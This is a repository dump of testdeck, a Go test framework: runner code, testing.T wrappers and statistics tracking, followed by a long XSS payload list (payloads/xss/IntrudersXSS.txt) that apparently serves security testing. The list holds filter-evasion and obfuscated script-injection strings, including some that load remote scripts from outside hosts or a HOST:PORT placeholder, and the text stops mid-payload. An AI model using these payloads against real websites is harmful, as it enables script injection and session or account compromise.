| 150 | // save statistics to DB 151 | if runner.Initialized() { 152 | r := runner.Instance(nil) 153 | stats := td.makeStatistics(start, end) 154 | 155 | r.AddStatistics(stats) 156 | } 157 | }() 158 | tc.ArrangeMethod(td) 159 | arrangeComplete = true 160 | tc.ActMethod(td) 161 | tc.AssertMethod(td) 162 | return td 163 | } 164 | 165 | // ----- 166 | // Statistics 167 | // ----- 168 | 169 | // Create a statistics struct for use in saving to DB later 170 | func (c *TD) makeStatistics(start time.Time, end time.Time) *constants.Statistics { 171 | return &constants.Statistics{ 172 | Name: c.Name(), 173 | Failed: c.Failed(), 174 | Fatal: c.fatal, 175 | Statuses: c.statuses, 176 | Timings: c.timings, 177 | Start: start, 178 | End: end, 179 | Duration: end.Sub(start), 180 | } 181 | } 182 | 183 | // Add result of PASSED lifecycle stage to stack 184 | func (c *TD) setPassed() { 185 | status := constants.Status{ 186 | Status: constants.StatusPass, 187 | Lifecycle: c.currentLifecycle, 188 | Fatal: false, 189 | } 190 | c.statuses = append(c.statuses, status) 191 | } 192 | 193 | // Add result of FAILED lifecycle stage to stack 194 | func (c *TD) setFailed(fatal bool) { 195 | status := constants.Status{ 196 | Status: constants.StatusFail, 197 | Lifecycle: c.currentLifecycle, 198 | Fatal: fatal, 199 | } 200 | c.statuses = append(c.statuses, status) 201 | } 202 | 203 | // Add result of SKIPPED lifecycle stage to stack 204 | func (c *TD) setSkipped() { 205 | status := constants.Status{ 206 | Status: constants.StatusSkip, 207 | Lifecycle: c.currentLifecycle, 208 | } 209 | c.statuses = append(c.statuses, status) 210 | } 211 | 212 | // timedRun executes fn and saves the lifecycle timing to the test case 213 | // fn is the function to run 214 | // t is the current test case 215 | // lifecycle is the current test case step to save timing for 216 | func timedRun(fn func(t *TD), t *TD, lifecycle string) { 217 | t.currentLifecycle = lifecycle 218 | 219 | timing := constants.Timing{ 220 | Lifecycle: lifecycle, 221 | } 222 | 223 | timing.Start = time.Now() 224 | if fn != nil { 225 | timing.Started = true 226 | fn(t) // FIXME what if fn has a goexit (following code needs to be in defer) 227 | timing.Ended = true 228 | } 229 | timing.End = time.Now() 230 | timing.Duration = timing.End.Sub(timing.Start) 231 | 232 | t.timings[timing.Lifecycle] = timing 233 | } 234 | 235 | // ----- 236 | // CODE FROM THE GOLANG TESTING LIBRARY 237 | // ----- 238 | 239 | // methods from testing.T 240 | type TestingT interface { 241 | Error(args ...interface{}) 242 | Errorf(format string, args ...interface{}) 243 | Fail() 244 | FailNow() 245 | Failed() bool 246 | Fatal(args ...interface{}) 247 | Fatalf(format string, args ...interface{}) 248 | Log(args ...interface{}) 249 | Logf(format string, args ...interface{}) 250 | Name() string 251 | Skip(args ...interface{}) 252 | SkipNow() 253 | Skipf(format string, args ...interface{}) 254 | Skipped() bool 255 | Helper() 256 | Parallel() 257 | } 258 | 259 | // Failed passes through to testing.T.Failed 260 | func (c *TD) Failed() bool { 261 | return c.T.Failed() 262 | } 263 | 264 | // Log passes through to testing.T.Log 265 | func (c *TD) Log(args ...interface{}) { 266 | c.T.Log(args...) 267 | } 268 | 269 | // Logf passes through to testing.T.Logf 270 | func (c *TD) Logf(format string, args ...interface{}) { 271 | c.T.Logf(format, args...) 272 | } 273 | 274 | // Name passes through to testing.T.Name 275 | func (c *TD) Name() string { 276 | // temporary workaround 277 | if c.actualName != "" { 278 | return c.actualName 279 | } 280 | return c.T.Name() 281 | } 282 | 283 | // Helper passes through to testing.T.Helper 284 | func (c *TD) Helper() { 285 | c.T.Helper() 286 | } 287 | 288 | // Skipped passes through to testing.T.Skipped 289 | func (c *TD) Skipped() bool { 290 | return c.T.Skipped() 291 | } 292 | 293 | // Fail passes through to testing.T.Fail 294 | func (c *TD) Fail() { 295 | c.setFailed(false) 296 | c.T.Fail() 297 | } 298 | 299 | // Error passes through to testing.T.Error 300 | func (c *TD) Error(args ...interface{}) { 301 | c.T.Helper() 302 | c.setFailed(false) 303 | c.T.Error(args...) 304 | } 305 | 306 | // Errorf passes through to testing.T.Errorf 307 | func (c *TD) Errorf(format string, args ...interface{}) { 308 | c.T.Helper() 309 | c.setFailed(false) 310 | c.T.Errorf(format, args...) 311 | } 312 | 313 | // Fatal passes through to testing.T.Fatal 314 | func (c *TD) Fatal(args ...interface{}) { 315 | c.T.Helper() 316 | c.setFailed(true) 317 | c.fatal = true 318 | c.T.Fatal(args...) 319 | } 320 | 321 | // Fatalf passes through to testing.T.Fatalf 322 | func (c *TD) Fatalf(format string, args ...interface{}) { 323 | c.T.Helper() 324 | c.setFailed(true) 325 | c.fatal = true 326 | c.T.Fatalf(format, args...) 327 | } 328 | 329 | // Skip passes through to testing.T.Skip 330 | func (c *TD) Skip(args ...interface{}) { 331 | c.setSkipped() 332 | c.T.Skip(args...) 333 | } 334 | 335 | // Skipf passes through to testing.T.Skipf 336 | func (c *TD) Skipf(format string, args ...interface{}) { 337 | c.setSkipped() 338 | c.T.Skipf(format, args...) 339 | } 340 | 341 | // SkipNow passes through to testing.T.SkipNow 342 | func (c *TD) SkipNow() { 343 | c.setSkipped() 344 | c.T.SkipNow() 345 | } 346 | 347 | // FailNow passes through to testing.T.FailNow 348 | func (c *TD) FailNow() { 349 | c.setFailed(true) 350 | c.fatal = true 351 | c.T.FailNow() 352 | } 353 | 354 | // Parallel passes through to testing.T.Parallel 355 | func (c *TD) Parallel() { 356 | c.T.Parallel() 357 | } 358 | 359 | // Run passes through to testing.T.Run 360 | func (tc *TestCase) Run(t *testing.T, name string) { 361 | // this method is just a wrapper, some tests might run Test() directly so you should not do anything else here! 362 | // any extra actions you want to do should be added to Test() instead because that method is run every time 363 | t.Run(name, func(t *testing.T) { 364 | // Redirect to Test() to execute testdeck test case 365 | Test(t, tc) 366 | }) 367 | } 368 | -------------------------------------------------------------------------------- /runner/runner.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | tdlog "log" 8 | "os" 9 | "reflect" 10 | "regexp" 11 | "sync" 12 | "testing" 13 | "unsafe" 14 | 15 | "github.com/mercari/testdeck/constants" 16 | ) 17 | 18 | /* 19 | runner.go: This implements a custom version of Golang testing library's Run(). It only works with Tests (Benchmark and Example are not supported) 20 | 21 | NOTE: 22 | Caution: 23 | THIS RUNNER IS POTENTIALLY UNSAFE/FRAGILE. Consider it experimental. 24 | Why: 25 | Go standard lib testing package does not export a lot of functionality making 26 | it hard to work with safely (requires us to use `reflect` and `unsafe` to 27 | access hidden functionality). This also means we are accessing implementation 28 | details that can change between Go versions (fragile). 29 | 30 | For now we will go with this implementation because the cost of writing our 31 | own Runner from scratch is likely higher than depending on the implementation 32 | of the Go standard runner. Eventually we will have to implement our own 33 | runner when there is more time. 34 | */ 35 | 36 | // RealStdout will point to the real stdout 37 | var RealStdout *os.File 38 | var printStdout = true 39 | var printOutputToEventLog = false 40 | var instance Runner 41 | var once sync.Once 42 | 43 | // Regex for matching test cases so that single test cases can be run 44 | // FIXME: This feature is currently not working (single test cases cannot be run by name) 45 | var reMatchTag = regexp.MustCompile("^(.*)\x00(.*)$") 46 | var reFilterTags = regexp.MustCompile("\\^.+\x00") 47 | var EnableMatchWorkaround = true 48 | 49 | // EventLogger will log test events 50 | type EventLogger interface { 51 | Log(message string) 52 | } 53 | 54 | // Contains the custom test runner and test run constants (output, logs, etc.) 55 | type runner struct { 56 | m TestRunner 57 | deps *TestDeps 58 | output string 59 | stats []constants.Statistics 60 | eventLogger EventLogger 61 | matchRe *regexp.Regexp 62 | matchPattern string 63 | } 64 | 65 | // Interface for the custom test runner (contains Golang's Run() and some other custom methods that we need for recording statistics, etc.) 66 | type Runner interface { 67 | Run() 68 | AddStatistics(stats *constants.Statistics) 69 | Statistics() []constants.Statistics 70 | ClearStatistics() 71 | Match(pattern string) error 72 | PrintToStdout(yes bool) 73 | PrintOutputToEventLog(yes bool) 74 | SetEventLogger(e EventLogger) 75 | LogEvent(message string) 76 | ReportStatistics() 77 | Passed() bool 78 | Output() string 79 | } 80 | 81 | // This is a custom version of Golang testing's type M (a test runner struct) 82 | type TestRunner interface { 83 | Run() int 84 | } 85 | 86 | // ----- 87 | // TEST RUNNER 88 | // ----- 89 | 90 | // This is pulled out so we can replace it for unit testing. The Go testing 91 | // package has too much assumed global state so we can't actually use the real 92 | // thing for unit tests. 93 | var runnerMainStart = func(deps *TestDeps, tests []testing.InternalTest) { 94 | // We need to instantiate our own "m" so we can feed it our implementation of 95 | // testDeps. This allows us to control the running match pattern between Runs. 96 | m2 := testing.MainStart(deps, tests, make([]testing.InternalBenchmark, 0), make([]testing.InternalFuzzTarget, 0), make([]testing.InternalExample, 0)) 97 | m2.Run() 98 | } 99 | 100 | // GetInstance returns the runner instance. Only the first invocation of this 101 | // method will set the "m". This should not matter because the testing framework 102 | // currently does not let us safely create our own "m" so only one instance 103 | // should always exist. 104 | // 105 | // Internally the testdeck package will invoke this method with 'nil' in order 106 | // to access the runner. 107 | func Instance(m TestRunner) Runner { 108 | if m == nil && instance == nil { 109 | panic("Accessing an uninitialized Runner instance. You probably never gave a valid 'm' parameter.") 110 | } 111 | once.Do(func() { 112 | instance = newInstance(m) 113 | }) 114 | return instance 115 | } 116 | 117 | // make accessible for testing 118 | func newInstance(m TestRunner) Runner { 119 | return &runner{ 120 | m: m, 121 | deps: &TestDeps{}, 122 | } 123 | } 124 | 125 | // Initialized returns true if the instance is initialized. 126 | func Initialized() bool { 127 | return instance != nil 128 | } 129 | 130 | // Run starts the test runner 131 | func (r *runner) Run() { 132 | 133 | // FIXME: Filtering tests to run by name is not working right now 134 | tests := filterTestsWorkaround(r.matchRe, getInternalTests(r.m), EnableMatchWorkaround, r.matchPattern) 135 | 136 | // Create a tee to duplicate stdout writes to a buffer we can read later. 137 | // idea from: https://stackoverflow.com/a/10476304 138 | RealStdout := os.Stdout 139 | rp, wp, _ := os.Pipe() 140 | outChannel := make(chan string) 141 | go func() { 142 | var buf bytes.Buffer 143 | if printStdout || printOutputToEventLog { 144 | var writers []io.Writer 145 | 146 | if printStdout { 147 | writers = append(writers, RealStdout) 148 | } 149 | 150 | if printOutputToEventLog { 151 | writers = append(writers, NewEventWriter(r)) 152 | } 153 | 154 | teeStdout := io.TeeReader(rp, io.MultiWriter(writers...)) 155 | _, err := io.Copy(&buf, teeStdout) 156 | if err != nil { 157 | tdlog.Println("testdeck output capture issue, io.Copy err:", err) 158 | } 159 | } else { 160 | _, err := io.Copy(&buf, rp) 161 | if err != nil { 162 | tdlog.Println("testdeck output capture issue, io.Copy err:", err) 163 | } 164 | } 165 | outChannel <- buf.String() 166 | }() 167 | 168 | os.Stdout = wp 169 | 170 | runnerMainStart(r.deps, tests) 171 | 172 | wp.Close() // close the pipe so the io.Copy gets EOF 173 | os.Stdout = RealStdout // reset stdout 174 | 175 | r.output = <-outChannel 176 | rp.Close() 177 | 178 | // FIXME: Running individual test cases by matching name is not working now 179 | if EnableMatchWorkaround { 180 | r.output = reFilterTags.ReplaceAllString(r.output, "") 181 | } 182 | 183 | // FIXME: Each test case is saving the entire test run's output. This should be fixed so that only the test case's output is saved. 184 | for i, _ := range r.stats { 185 | r.stats[i].Output = r.output 186 | } 187 | } 188 | 189 | // ----- 190 | // STATISTICS, OUTPUT, AND LOGGING 191 | // ----- 192 | 193 | func (r *runner) AddStatistics(stats *constants.Statistics) { 194 | r.stats = append(r.stats, *stats) 195 | } 196 | 197 | func (r *runner) Statistics() []constants.Statistics { 198 | return r.stats 199 | } 200 | 201 | // ClearStatistics resets the stats to nothing. 202 | func (r *runner) ClearStatistics() { 203 | r.stats = make([]constants.Statistics, 0) 204 | } 205 | 206 | func (r *runner) ReportStatistics() { 207 | for i, s := range r.stats { 208 | fmt.Println(i, s.Failed, s.Name) 209 | } 210 | } 211 | 212 | func (r *runner) Passed() bool { 213 | for _, s := range r.stats { 214 | if s.Failed { 215 | return false 216 | } 217 | } 218 | return true 219 | } 220 | 221 | func (r *runner) Output() string { 222 | return r.output 223 | } 224 | 225 | func (r *runner) PrintToStdout(yes bool) { 226 | printStdout = yes 227 | } 228 | 229 | func (r *runner) PrintOutputToEventLog(yes bool) { 230 | printOutputToEventLog = yes 231 | } 232 | 233 | func (r *runner) SetEventLogger(e EventLogger) { 234 | r.eventLogger = e 235 | } 236 | 237 | func (r *runner) LogEvent(message string) { 238 | if r.eventLogger != nil { 239 | r.eventLogger.Log(message) 240 | } 241 | } 242 | 243 | // ----- 244 | // TEST NAME MATCHING 245 | // FIXME: This feature is not working now, tests cannot be run individually by name 246 | // ----- 247 | 248 | // MatchTag returns ok = true if the name has a test tag. If the tag is present, 249 | // then "match" will indicate if the test name matched the tagged pattern. If 250 | // there is a test tag, the returned name will be the actual test name minus the 251 | // tag. 252 | // 253 | // If there is no tag the function returns the same given name and ok = false, 254 | // matched = false. 255 | // 256 | // This should only be used as a workaround until we implement a real test 257 | // runner. 258 | func MatchTag(name string) (ok bool, matched bool, actualName string) { 259 | if reMatchTag.MatchString(name) { 260 | parts := reMatchTag.FindStringSubmatch(name) 261 | tagPattern := parts[1] 262 | actual := parts[2] 263 | re := regexp.MustCompile(tagPattern) 264 | return true, re.MatchString(actual), actual 265 | } 266 | 267 | return false, false, name 268 | } 269 | 270 | // Match sets the regular expression pattern to filter tests to run. 271 | func (r *runner) Match(pattern string) error { 272 | re, err := regexp.Compile(pattern) 273 | if err != nil { 274 | return err 275 | } 276 | r.matchRe = re 277 | r.matchPattern = pattern // for temporary workaround 278 | return nil 279 | } 280 | 281 | // Temporary workaround to run individual test cases by name 282 | // FIXME: This is not working now, individual test cases cannot be run by name 283 | func filterTestsWorkaround(re *regexp.Regexp, tests []testing.InternalTest, matchWorkaround bool, rePattern string) []testing.InternalTest { 284 | if matchWorkaround && rePattern != ".*" { 285 | var tagged []testing.InternalTest 286 | 287 | for _, test := range tests { 288 | clone := test 289 | clone.Name = rePattern + "\x00" + test.Name 290 | tagged = append(tagged, clone) 291 | } 292 | 293 | return tagged 294 | } 295 | 296 | return filterTests(re, tests) 297 | } 298 | 299 | // FIXME: This is not working now, individual test cases cannot be run by name 300 | func filterTests(re *regexp.Regexp, tests []testing.InternalTest) []testing.InternalTest { 301 | var filtered []testing.InternalTest 302 | 303 | for _, test := range tests { 304 | if re.MatchString(test.Name) { 305 | filtered = append(filtered, test) 306 | } 307 | } 308 | 309 | return filtered 310 | } 311 | 312 | // ----- 313 | // CODE COPIED FROM GOLANG TESTING LIBRARY 314 | // ----- 315 | 316 | func getInternalTests(m TestRunner) []testing.InternalTest { 317 | internalTestsIndex, found := getInternalTestsFieldIndex(m) 318 | if !found { 319 | panic("Could not find []InternalTest via reflect. Perhaps you updated the Go library version?") 320 | } 321 | 322 | // https://stackoverflow.com/a/43918797 323 | // Access an unexported field by index 324 | rs := reflect.ValueOf(m).Elem() 325 | rf := rs.Field(internalTestsIndex) 326 | rf = reflect.NewAt(rf.Type(), unsafe.Pointer(rf.UnsafeAddr())).Elem() 327 | internalTests := make([]testing.InternalTest, rf.Len()) 328 | for i := 0; i < rf.Len(); i++ { 329 | val := rf.Index(i) 330 | iTest := val.Interface().(testing.InternalTest) 331 | internalTests[i] = iTest 332 | } 333 | 334 | return internalTests 335 | } 336 | 337 | // getInternalTestsFieldIndex returns the index of the []InternalTest slice if 338 | // it exists. If it does not exist the "ok" value will be set to false. 339 | func getInternalTestsFieldIndex(m TestRunner) (index int, ok bool) { 340 | rs := reflect.ValueOf(m).Elem() 341 | for i := 0; i < rs.NumField(); i++ { 342 | field := rs.Field(i) 343 | // filter only slice kinds 344 | if reflect.Slice == field.Kind() { 345 | it := (*testing.InternalTest)(nil) 346 | // match only testing.InternalTest type 347 | if reflect.TypeOf(it).Elem() == field.Type().Elem() { 348 | return i, true 349 | } 350 | } 351 | } 352 | return 0, false 353 | } 354 | -------------------------------------------------------------------------------- /payloads/xss/IntrudersXSS.txt: -------------------------------------------------------------------------------- 1 | <script>alert('XSS')</script> 2 | <scr<script>ipt>alert('XSS')</scr<script>ipt> 3 | "><script>alert('XSS')</script> 4 | "><script>alert(String.fromCharCode(88,83,83))</script> 5 | <img src=x onerror=alert('XSS');> 6 | <img src=x onerror=alert(String.fromCharCode(88,83,83));> 7 | <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));> 8 | <img src=x:alert(alt) onerror=eval(src) alt=xss> 9 | "><img src=x onerror=alert('XSS');> 10 | "><img src=x onerror=alert(String.fromCharCode(88,83,83));> 11 | <svg onload=alert(1)> 12 | <svg/onload=alert('XSS')> 13 | <svg/onload=alert(String.fromCharCode(88,83,83))> 14 | <svg id=alert(1) onload=eval(id)> 15 | "><svg/onload=alert(String.fromCharCode(88,83,83))> 16 | "><svg/onload=alert(/XSS/) 17 | <body onload=alert(/XSS/.source)> 18 | <input autofocus onfocus=alert(1)> 19 | <select autofocus onfocus=alert(1)> 20 | <textarea autofocus onfocus=alert(1)> 21 | <keygen autofocus onfocus=alert(1)> 22 | <video/poster/onerror=alert(1)> 23 | <video><source onerror="javascript:alert(1)"> 24 | <video src=_ onloadstart="alert(1)"> 25 | <details/open/ontoggle="alert`1`"> 26 | <audio src onloadstart=alert(1)> 27 | <marquee onstart=alert(1)> 28 | <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 29 | <meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh> 30 | data:text/html,<script>alert(0)</script> 31 | data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ 32 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 33 | ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 34 | " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// 35 | ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> 36 | javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* 37 | javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a 38 | javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ 39 | javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* 40 | javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* 41 | javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// 42 | javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* 43 | --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* 44 | /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* 45 | javascript://--></title></style></textarea></script><svg "//' onclick=alert()// 46 | /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* 47 | <object onafterscriptexecute=confirm(0)> 48 | <object onbeforescriptexecute=confirm(0)> 49 | <script>window['alert'](document['domain'])<script> 50 | <img src='1' onerror/=alert(0) /> 51 | <script>window['alert'](0)</script> 52 | <script>parent['alert'](1)</script> 53 | <script>self['alert'](2)</script> 54 | <script>top['alert'](3)</script> 55 | "><svg onload=alert(1)// 56 | "onmouseover=alert(1)// 57 | "autofocus/onfocus=alert(1)// 58 | '-alert(1)-' 59 | '-alert(1)// 60 | \'-alert(1)// 61 | </script><svg onload=alert(1)> 62 | <x contenteditable onblur=alert(1)>lose focus! 63 | <x onclick=alert(1)>click this! 64 | <x oncopy=alert(1)>copy this! 65 | <x oncontextmenu=alert(1)>right click this! 66 | <x oncut=alert(1)>cut this! 67 | <x ondblclick=alert(1)>double click this! 68 | <x ondrag=alert(1)>drag this! 69 | <x contenteditable onfocus=alert(1)>focus this! 70 | <x contenteditable oninput=alert(1)>input here! 71 | <x contenteditable onkeydown=alert(1)>press any key! 72 | <x contenteditable onkeypress=alert(1)>press any key! 73 | <x contenteditable onkeyup=alert(1)>press any key! 74 | <x onmousedown=alert(1)>click this! 75 | <x onmousemove=alert(1)>hover this! 76 | <x onmouseout=alert(1)>hover this! 77 | <x onmouseover=alert(1)>hover this! 78 | <x onmouseup=alert(1)>click this! 79 | <x contenteditable onpaste=alert(1)>paste here! 80 | <script>alert(1)// 81 | <script>alert(1)<!– 82 | <script src=//brutelogic.com.br/1.js> 83 | <script src=//3334957647/1> 84 | %3Cx onxxx=alert(1) 85 | <%78 onxxx=1 86 | <x %6Fnxxx=1 87 | <x o%6Exxx=1 88 | <x on%78xx=1 89 | <x onxxx%3D1 90 | <X onxxx=1 91 | <x OnXxx=1 92 | <X OnXxx=1 93 | <x onxxx=1 onxxx=1 94 | <x/onxxx=1 95 | <x%09onxxx=1 96 | <x%0Aonxxx=1 97 | <x%0Conxxx=1 98 | <x%0Donxxx=1 99 | <x%2Fonxxx=1 100 | <x 1='1'onxxx=1 101 | <x 1="1"onxxx=1 102 | <x </onxxx=1 103 | <x 1=">" onxxx=1 104 | <http://onxxx%3D1/ 105 | <x onxxx=alert(1) 1=' 106 | <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)> 107 | 'onload=alert(1)><svg/1=' 108 | '>alert(1)</script><script/1=' 109 | */alert(1)</script><script>/* 110 | */alert(1)">'onload="/*<svg/1=' 111 | `-alert(1)">'onload="`<svg/1=' 112 | */</script>'>alert(1)/*<script/1=' 113 | <script>alert(1)</script> 114 | <script src=javascript:alert(1)> 115 | <iframe src=javascript:alert(1)> 116 | <embed src=javascript:alert(1)> 117 | <a href=javascript:alert(1)>click 118 | <math><brute href=javascript:alert(1)>click 119 | <form action=javascript:alert(1)><input type=submit> 120 | <isindex action=javascript:alert(1) type=submit value=click> 121 | <form><button formaction=javascript:alert(1)>click 122 | <form><input formaction=javascript:alert(1) type=submit value=click> 123 | <form><input formaction=javascript:alert(1) type=image value=click> 124 | <form><input formaction=javascript:alert(1) type=image src=SOURCE> 125 | <isindex formaction=javascript:alert(1) type=submit value=click> 126 | <object data=javascript:alert(1)> 127 | <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> 128 | <svg><script xlink:href=data:,alert(1) /> 129 | <math><brute xlink:href=javascript:alert(1)>click 130 | <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&> 131 | <html ontouchstart=alert(1)> 132 | <html ontouchend=alert(1)> 133 | <html ontouchmove=alert(1)> 134 | <html ontouchcancel=alert(1)> 135 | <body onorientationchange=alert(1)> 136 | "><img src=1 onerror=alert(1)>.gif 137 | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> 138 | GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//; 139 | <script src="data:&comma;alert(1)// 140 | "><script src=data:&comma;alert(1)// 141 | <script src="//brutelogic.com.br&sol;1.js&num; 142 | "><script src=//brutelogic.com.br&sol;1.js&num; 143 | <link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt; 144 | "><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt; 145 | <base href=//0> 146 | <script/src="data:&comma;eval(atob(location.hash.slice(1)))//#alert(1) 147 | <body onload=alert(1)> 148 | <body onpageshow=alert(1)> 149 | <body onfocus=alert(1)> 150 | <body onhashchange=alert(1)><a href=#x>click this!#x 151 | <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x 152 | <body onscroll=alert(1)><br><br><br><br> 153 | <body onresize=alert(1)>press F12! 154 | <body onhelp=alert(1)>press F1! (MSIE) 155 | <marquee onstart=alert(1)> 156 | <marquee loop=1 width=0 onfinish=alert(1)> 157 | <audio src onloadstart=alert(1)> 158 | <video onloadstart=alert(1)><source> 159 | <input autofocus onblur=alert(1)> 160 | <keygen autofocus onfocus=alert(1)> 161 | <form onsubmit=alert(1)><input type=submit> 162 | <select onchange=alert(1)><option>1<option>2 163 | <menu id=x contextmenu=x onshow=alert(1)>right click me! 164 | <script>\u0061\u006C\u0065\u0072\u0074(1)</script> 165 | <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" /> 166 | <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> 167 | <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> 168 | <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+